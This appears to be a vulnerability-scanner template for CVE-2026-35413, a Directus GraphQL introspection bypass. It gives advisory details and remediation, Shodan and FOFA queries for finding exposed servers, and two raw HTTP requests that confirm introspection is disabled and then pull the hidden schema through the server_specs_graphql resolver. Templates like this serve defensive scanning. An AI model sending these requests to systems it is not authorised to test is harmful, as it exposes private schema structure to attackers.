id: CVE-2026-35413 info: name: Directus < 11.16.1 - GraphQL Introspection Control Bypass author: s4e-io severity: medium description: | Directus before 11.16.1 contains an information disclosure vulnerability where the GRAPHQL_INTROSPECTION=false setting only adds the NoSchemaIntrospectionCustomRule to GraphQL validation. The server_specs_graphql resolver on /graphql/system and the REST /server/specs/graphql routes are still registered and return the full SDL of the schema, so unauthenticated users can read the schema structure the administrator tried to hide. impact: | Unauthenticated attackers can read collection names, field names, types and relations at the public permission level even though GraphQL introspection is disabled. remediation: | Upgrade to Directus 11.16.1 or later. reference: - https://github.com/directus/directus/security/advisories/GHSA-wxwm-3fxv-mrvx - https://github.com/directus/directus/pull/26868 - https://github.com/directus/directus/commit/fba89ef4d862b0a410bd7f5ff439501ce807a2b1 - https://github.com/directus/directus/releases/tag/v11.16.1 - https://nvd.nist.gov/vuln/detail/CVE-2026-35413 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2026-35413 epss-score: 0.00692 epss-percentile: 0.53604 cwe-id: CWE-200 cpe: cpe:2.3:a:monospace:directus:*:*:*:*:*:node.js:*:* metadata: verified: true max-request: 2 vendor: monospace product: directus shodan-query: 'X-Powered-By: Directus' fofa-query: 'header="X-Powered-By: Directus"' tags: cve,cve2026,directus,graphql,exposure,unauth flow: http(1) && http(2) http: - raw: - | GET /graphql/system?query=%7B__schema%7BqueryType%7Bname%7D%7D%7D HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers: - type: dsl dsl: - 'status_code == 400' - 'regex("\"code\":\"GRAPHQL_VALIDATION(_EXCEPTION)?\"", body)' - 'contains(body, "GraphQL introspection has been disabled")' condition: and internal: true - raw: - | GET /graphql/system?query=%7Bserver_specs_graphql(scope%3Asystem)%20items%3Aserver_specs_graphql(scope%3Aitems)%7D HTTP/1.1 Host: {{Hostname}} Accept: application/json matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains_all(body, "\"server_specs_graphql\":\"type Query {", "server_specs_graphql(scope: graphql_sdl_scope): String", "auth_login(email: String!")' condition: and # digest: 4b0a00483046022100b2a6cbc4fafb2d7d4c677b3243401e42584e14ecf4de605ebe2948712cad00900221008d934c0fa3ff339245fc9ffc2f061a852431b00632570358e77b4f04b2d29039:922c64590222798bb761d5b6d8e72950